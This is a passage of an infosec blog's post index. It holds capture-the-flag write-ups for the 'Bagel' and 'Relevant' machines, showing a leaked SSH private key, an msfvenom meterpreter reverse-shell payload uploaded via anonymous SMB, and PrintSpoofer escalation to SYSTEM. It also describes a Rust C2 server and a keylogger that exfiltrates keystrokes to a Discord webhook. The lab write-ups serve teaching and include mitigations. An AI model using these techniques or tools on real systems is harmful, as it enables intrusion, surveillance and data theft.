nyjrB0l2DsKbBBUT42Rb\\nzHYDsq2CatGezy1fx4EGFoBQ5nEl7LNcdGBhqnssQsmtB/Bsx94LCZQcsIBkIHXB8fraNm\\niOExHKnkuSVqEBwWi5A2UPft+avpJfAAAAwQC6PBf90h7mG/zECXFPQVIPj1uKrwRb6V9g\\nGDCXgqXxMqTaZd348xEnKLkUnOrFbk3RzDBcw49GXaQlPPSM4z05AMJzixi0xO25XO/Zp2\\niH8ESvo55GCvDQXTH6if7dSVHtmf5MSbM5YqlXw2BlL/yqT+DmBsuADQYU19aO9LWUIhJj\\neHolE3PVPNAeZe4zIfjaN9Gcu4NWgA6YS5jpVUE2UyyWIKPrBJcmNDCGzY7EqthzQzWr4K\\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\\n-----END OPENSSH PRIVATE KEY-----\u0026#34;, \u0026#34;WriteFile\u0026#34;: null }, \u0026#34;WriteOrder\u0026#34;: null, \u0026#34;ReadOrder\u0026#34;: null } Now saving this to id_rsa and setting the correct permissions, I can now login via ssh.\n\u0026gt; chmod 600 id_rsa \u0026gt; ssh -i id_rsa phil@bagel.htb Now recalling, there was a password for a dev user in dll file and also a developer user in the system, i try to switch user to developer with the password and it worked.\nPrivilege Escalation Now as user developer, i found out my sudo rights for privilege escalation,\n[developer@bagel phil]$ sudo -l Matching Defaults entries for developer on bagel: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep=\u0026#34;COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS\u0026#34;, env_keep+=\u0026#34;MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE\u0026#34;, env_keep+=\u0026#34;LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES\u0026#34;, env_keep+=\u0026#34;LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE\u0026#34;, env_keep+=\u0026#34;LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY\u0026#34;, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/var/lib/snapd/snap/bin User developer may run the following commands on bagel: (root) NOPASSWD: /usr/bin/dotnet For abusing sudo, suid and capabilities, GTFObins is a great website. Looking at it, there is a way to get root access using sudo permissions.\nI ran the commands and got the root user. 🎉\nsh-5.2# id uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Mitigation Techniques Input Validation and Filtering: Implement strict input validation and filtering mechanisms to prevent injection attacks, including LFI (Local File Inclusion) vulnerabilities. Validate and sanitize all user inputs and file paths to ensure they do not allow unauthorized access to system files. Secure Deserialization: Use safe deserialization practices, such as validating input types and using whitelists for allowed types during deserialization. Avoid using frameworks or libraries that automatically deserialize data without proper validation, as this can lead to remote code execution vulnerabilities. Least Privilege Principle: Restrict privileges granted to applications and users to the minimum necessary for their functionality. Avoid granting unnecessary sudo or administrative rights, especially to binaries like dotnet, which can be abused to escalate privileges. Monitoring and Logging: Implement comprehensive logging and monitoring of system activities, especially those involving sensitive operations like sudo access. Monitor for unusual or unauthorized activities to detect and respond to potential security breaches promptly. Regular Security Audits and Patching: Conduct regular security audits to identify and mitigate vulnerabilities in applications and systems. Keep software and libraries up to date with security patches to protect against known vulnerabilities. Conclusion The penetration test revealed critical vulnerabilities including Local File Inclusion (LFI), insecure deserialization, and privileged escalation through misuse of sudo rights. These findings show the importance of strict security practices, including secure coding, proper input validation, and adherence to the principle of least privilege. It was a fun box.\nReferences https://gtfobins.github.io/gtfobins/dotnet/ https://github.com/websockets/wscat https://www.jetbrains.com/rider/ https://www.newtonsoft.com/json/help/html/SerializeTypeNameHandling.htm https://caido.io/ https://gchq.github.io/CyberChef/ https://ghidra-sre.org/ https://www.jetbrains.com/decompiler/ https://github.com/dnSpy/dnSpy ","date":"2024-06-30T18:26:06+05:30","permalink":"https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/","title":"Bagel"},{"content":"Introduction Machine Name: Relevant IP Address: [IP Address] Difficulty: Medium Information Gathering I started scan with rustscan, found port 80, 49663 and 445 ports open. These are the most common ports for getting initial foothold, but 49663 is very uncommon(so suspicious).\n\u0026gt; rustscan --ulimit 5000 -r 1-65535 -a $IP -- -Pn -A -T4 | tee -a scan.txt PORT STATE SERVICE REASON VERSION 80/tcp filtered http no-response 135/tcp open msrpc syn-ack Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn 445/tcp filtered microsoft-ds no-response 3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: RELEVANT | NetBIOS_Domain_Name: RELEVANT | NetBIOS_Computer_Name: RELEVANT | DNS_Domain_Name: Relevant | DNS_Computer_Name: Relevant | Product_Version: 10.0.14393 |_ System_Time: 2024-06-16T13:32:28+00:00 |_ssl-date: 2024-06-16T13:33:08+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=Relevant | Issuer: commonName=Relevant | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-06-15T13:22:30 | Not valid after: 2024-12-15T13:22:30 | MD5: 3899:9add:605f:3667:4142:6b8b:7e42:36ea | SHA-1: fc71:3924:4a7e:0c01:bb51:9465:4800:5f04:f2ac:d73b | -----BEGIN CERTIFICATE----- | MIIC1DCCAbygAwIBAgIQfCiYuHMheZpPNXVuApyXhTANBgkqhkiG9w0BAQsFADAT | MREwDwYDVQQDEwhSZWxldmFudDAeFw0yNDA2MTUxMzIyMzBaFw0yNDEyMTUxMzIy | MzBaMBMxETAPBgNVBAMTCFJlbGV2YW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A | MIIBCgKCAQEAts8eZAiC029jcGXhUL68IXseXFWcgqXCiDU4X7Ba811bVw9ESy70 | iVO76DBONGsr4Yd5/dhHXtxBv6PfcjBCqc6g+CtR0/hfDPp+ml5P+uw4AZUTyfrY | 6hVQqLBXojAlHt/avwYgxLdUO0LeonbHOEKD7GYTKUeXmzHRVnJWSu+ig4/1DjLX | Qy5rb5s8b+bEB7IXhTamR+VE43nmbk3uwZPvYnVFpOMh0GgzUYz37uU5wK1aUofe | mZk0J4LJXAR3l0V5StbaHp5XNb2AB2YHp2Pw7CundO6JB9zfmbSLujjjU4VUNqYw | 2ptgSJZkV35//bqgEeHCRpNNCqVu6YhTVwIDAQABoyQwIjATBgNVHSUEDDAKBggr | BgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBACFbjHjCdSkY | De8PKuIF84qpcBet8saz5BbapeobNdCtpNybCHLtnDy2tHbsxS+0OnGmtEN3cAaf | za2WoiMUcoD56nrx7vE02CuZGcnfgXN2G2sxxmCOZdRAMg257UWITeJLQH9zWZ5H | Iikuk/rZIklL8ieX9+Ad2UeX4O843UsrxEfjnC0ZtcO+1wZRlmYvKHj4ew/5s/f4 | gOOTZXCvc6zrLxrxQiYbxbVHlUgLwyhKgD/vq8YIvX27+mHZseMHzKD9QRhAlbkj | Pz57I37Z3vkXsuI/i2bJc4gttrjH3lQqoMWYTI9dj1+0W08XzDgnhtIf5aTAiwsP | rtieJbN7gm8= |_-----END CERTIFICATE----- 49663/tcp open http syn-ack Microsoft IIS httpd 10.0 |_http-title: IIS Windows Server | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 49667/tcp filtered unknown no-response 49669/tcp filtered unknown no-response Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Port 80 The root just hosts a Microsoft IIS default server, will dirbust with feroxbuster. I generally use two wordlists,\nraft-medium-directories-lowercase.txt directory-list-2.3-medium.txt Deadend!!!\nPort 49663 Interestingly, I found a endpoint nt4wrksv with the second list. This machine makes us learn the importance of patience in enumeration, because the directory folder in the second list was at the very last. So i had to go through whole big list to get this endpoint.\n~/Pentesting/Tryhackme/relevant node system \u0026gt; feroxbuster -w $SECLISTS/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.178.5:49663/ -C 400,404,503 -n ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \\ \\_/ | | \\ |__ | |___ | \\ | \\ | \\__, \\__/ / \\ | |__/ |___ by Ben \u0026#34;epi\u0026#34; Risher 🤓 ver: 2.10.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.178.5:49663/ 🚀 Threads │ 50 📖 Wordlist │ /Users/vikas/Pentesting/hacking/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt 💢 Status Code Filters │ [400, 404, 503] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.3 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🚫 Do Not Recurse │ true 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 0l 0w 0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 334l 2089w 180418c http://10.10.178.5:49663/iisstart.png 200 GET 32l 55w 703c http://10.10.178.5:49663/ 301 GET 2l 10w 157c http://10.10.178.5:49663/nt4wrksv =\u0026gt; http://10.10.178.5:49663/nt4wrksv/ ~/Pentesting/Tryhackme/relevant \u0026gt; cat $SECLISTS/Discovery/Web-Content/directory-list-2.3-medium.txt | grep -in \u0026#34;nt4wrksv\u0026#34; 220538:nt4wrksv Port 445 It has a share nt4wrksv available with anonymous access(Note: the same folder is available from port 49663) It has a passwords.txt file. This passwords.txt file is also accessible from port 49663. This is a serious vulnerability. I can now upload an aspx reverse shell(since windows) in smb share, then access it from port 49663 to execute it.\n~/Pentesting/Tryhackme/relevant \u0026gt; smbclient -L \\\\\\\\10.10.171.47\\\\ -U \u0026#39;\u0026#39; Password for [WORKGROUP\\]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC nt4wrksv Disk SMB1 disabled -- no workgroup available I used msfvenom to generate an aspx shell so as to recieve a meterpreter shell. This is the alternate reverse shell to use if you want a nc session: qtc-de.\n~/Pentesting/Tryhackme/relevant \u0026gt; msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=[IP] lport=[PORT] -f aspx -o shell.aspx Then started a handler in msfconsole,\n~/Pentesting/Tryhackme/relevant msf6 \u0026gt; use exploit/multi/handler msf6 exploit(multi/handler) \u0026gt; set payload windows/x64/meterpreter_reverse_tcp msf6 exploit(multi/handler) \u0026gt; set lhost [IP] msf6 exploit(multi/handler) \u0026gt; set lport [PORT] msf6 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on [IP]:4444 Uploading the shell file in the nt4wrksv smb share.(Do change your attack ip and port in the shell.aspx file.) I uploaded shell.aspx file with put command and queried the shell file from browser, got shell and also user.txt.\n~/Pentesting/Tryhackme/relevant msf6 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on 10.14.82.36:4444 [*] Meterpreter session 1 opened (10.14.82.36:4444 -\u0026gt; 10.10.178.5:49732) at 2024-06-17 02:36:23 +0530 meterpreter \u0026gt; getuid Server username: IIS APPPOOL\\DefaultAppPool meterpreter \u0026gt; shell c:\\windows\\system32\\inetsrv\u0026gt;cd c:\\users\\bob\\desktop c:\\Users\\Bob\\Desktop\u0026gt;type user.txt type user.txt THM{fdk4ka34vk346ksxfr21tg789ktf45} Privilege Escalation First of all, always check for privileges the current user has.\nc:\\Users\\Bob\\Desktop\u0026gt;whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled We see that the user has SeImpersonatePrivilege. This means, a specific privilege in Windows OS that allows a process to impersonate a user or another process. So I can abuse this by a custom process to impersonate as the NT\\Authority user. So to exploit this, quick google search gives us this link from Hacktricks(A great resource).\nA/c to usage, the command given to the PrintSpoofer.exe in -c flag will be executed as NT\\Authority user.\nHere is the file PrintSpooferx64.exe. I will upload it using the upload command in meterpreter session, then execute it with -c flag to give a powershell session of privileged user.\nmeterpreter \u0026gt; cd \u0026#39;c:\\inetpub\\wwwroot\\nt4wrksv\u0026#39; meterpreter \u0026gt; upload PrintSpoofer64.exe [*] Uploading : /Users/vikas/Pentesting/Tryhackme/relevant/PrintSpoofer64.exe -\u0026gt; PrintSpoofer64.exe [*] Uploaded 26.50 KiB of 26.50 KiB (100.0%): /Users/vikas/Pentesting/Tryhackme/relevant/PrintSpoofer64.exe -\u0026gt; PrintSpoofer64.exe [*] Completed : /Users/vikas/Pentesting/Tryhackme/relevant/PrintSpoofer64.exe -\u0026gt; PrintSpoofer64.exe meterpreter \u0026gt; shell Process 3240 created. Channel 3 created. Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. c:\\inetpub\\wwwroot\\nt4wrksv\u0026gt;.\\PrintSpoofer64.exe -i -c powershell.exe .\\PrintSpoofer64.exe -i -c powershell.exe [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) 2016 Microsoft Corporation. All rights reserved. PS C:\\Windows\\system32\u0026gt; whoami whoami nt authority\\system So as you can see, I have now taken over the machine 🎉\nMitigation Techniques Disable Unnecessary Services(like port 49663):\nRegularly review and disable any services that are not required. This reduces the attack surface and potential entry points for attackers. Least Privilege Principle:\nApply the principle of least privilege to all user accounts and services. Users and services should only have the minimum level of access necessary to perform their tasks. Strong Authentication Mechanisms(in this case for smb):\nUse strong, complex passwords and consider implementing multi-factor authentication (MFA) to add an extra layer of security to user accounts. Specific Mitigations Restrict SMB Access:\nDisable anonymous access to SMB shares. Configure SMB shares to require authentication and only allow access to authorized users. Apply strict permissions to SMB shares, ensuring that only necessary users have write access. Secure HTTP Access:\nEnsure that HTTP services are properly secured. If file uploads are required, implement strict controls to validate and sanitize uploaded files to prevent the upload of malicious files such as reverse shells. Use secure coding practices to prevent vulnerabilities such as arbitrary file upload and remote code execution. Restrict Privileges:\nRegularly review and restrict the assignment of high-privilege accounts such as those with SeImpersonatePrivilege. Only assign such privileges to accounts that absolutely require them. Use Group Policy to enforce restrictions on privilege assignments and regularly audit these policies. Implement Endpoint Protection:\nDeploy endpoint protection solutions that can detect and block common attack techniques, such as reverse shells and privilege escalation tools like PrintSpoofer. Regularly update endpoint protection signatures and configurations to ensure they can detect the latest threats. Harden Print Spooler Service:\nRegularly audit and review the security of the Print Spooler service. Disable the Print Spooler service on systems where it is not required. Apply patches and updates related to the Print Spooler service to address known vulnerabilities. Application Whitelisting:\nImplement application whitelisting to control which executables are allowed to run on the system. This can prevent unauthorized tools and scripts from executing. Isolate and Monitor High-Privilege Accounts:\nIsolate high-privilege accounts and monitor their usage closely. Implement additional security controls such as MFA and session logging for these accounts. Conclusion Overall, this was an easy box actually which required a lot of patience 😅. Exploitation after finding that exposed folder on port 49663 is easy. Rest all scripts and tools are available online to use.\nReferences https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe ","date":"2024-06-16T18:26:06+05:30","permalink":"https://crippledmind-infosec-journal.netlify.app/posts/writeups/thm/relevant/","title":"Relevant"},{"content":" Basic C2 Server The Basic C2 Server is a Rust-based implementation of a basic Command and Control (C2) server that allows you to manage multiple clients, generate unique names and IDs for each client, and execute commands remotely. It periodically reads commands from a file and sends them to all connected clients, collects the output from clients, and prints it.\nFeatures Asynchronous handling of multiple client connections. Unique name and ID generation for each client. Periodic command execution given the commands in a file and output collection from all connected clients. Intermediate C2 Server The Intermediate C2 Server is a command-line tool implemented in Rust that provides a comprehensive set of features for managing multiple clients, including starting the server, listing connected clients, stopping the manager, and interacting with specific clients.\nFeatures Start the server on port 8080, with each client connection handled in a separate background thread. List all connected clients using a HashMap that maps unique names to client IP addresses and TcpStreams. Stop the server manager gracefully. Interact with specific clients by sending custom commands and receiving output in real-time. Screenshots ","date":"2024-06-16T14:55:54+05:30","permalink":"https://crippledmind-infosec-journal.netlify.app/posts/projects/rustneccommander/","title":"RustNecCommander"},{"content":"Fix macOS: Dynamically Detect Homebrew-installed GSSAPI Library Problem: On macOS, the GSSAPI library path is hardcoded as /usr/lib/libgssapi_krb5.dylib. However, when installed via Homebrew, the library is located in /opt/homebrew/lib/libgssapi_krb5.dylib (or /usr/local/lib/... for Intel Macs).\nThis causes ffi_lib to fail unless the user manually modifies the path.\nSolution: Used File.exist? to check if the Homebrew-installed library exists. If found, used brew --prefix to dynamically get the correct path. Falls back to /usr/lib/libgssapi_krb5.dylib if Homebrew is not installed. Code Changes: Updated lib_gssapi_loader.rb to:\nwhen /darwin/ brew_prefix = `brew --prefix`.strip rescue nil gssapi_lib = if brew_prefix \u0026amp;\u0026amp; !brew_prefix.empty? \u0026#34;#{brew_prefix}/lib/libgssapi_krb5.dylib\u0026#34; else \u0026#34;/usr/lib/libgssapi_krb5.dylib\u0026#34; end ffi_lib gssapi_lib, FFI::Library::LIBC ","date":"2025-03-09T13:07:54+05:30","permalink":"https://crippledmind-infosec-journal.netlify.app/posts/projects/gssapiformac/","title":"Kerberos auth with GSSAPI for Mac"},{"content":"Keylogger #Key Features:\nIt records keys to a temporary string, encrypts them and saves them to file named TestData.txt in \u0026ldquo;MyDocuments\u0026rdquo; folder.\nYou can specify custom folder by setting folder variable. After some time, the file is decrypted to a new file named \u0026ldquo;new.text\u0026rdquo;, then it is sent to the discord server and then the file is deleted permanently.\nTo change time of decrypting, change the if condition shown below in range of 3000-4000, which is about every 5 minutes. Before running make sure to use your Discord webhook link in \u0026ldquo;discordHoo\u0026rdquo; variable.\n","date":"2024-06-17T10:13:34+05:30","permalink":"https://crippledmind-infosec-journal.netlify.app/posts/projects/advkelogger/","title":"AdvKeylogger"}]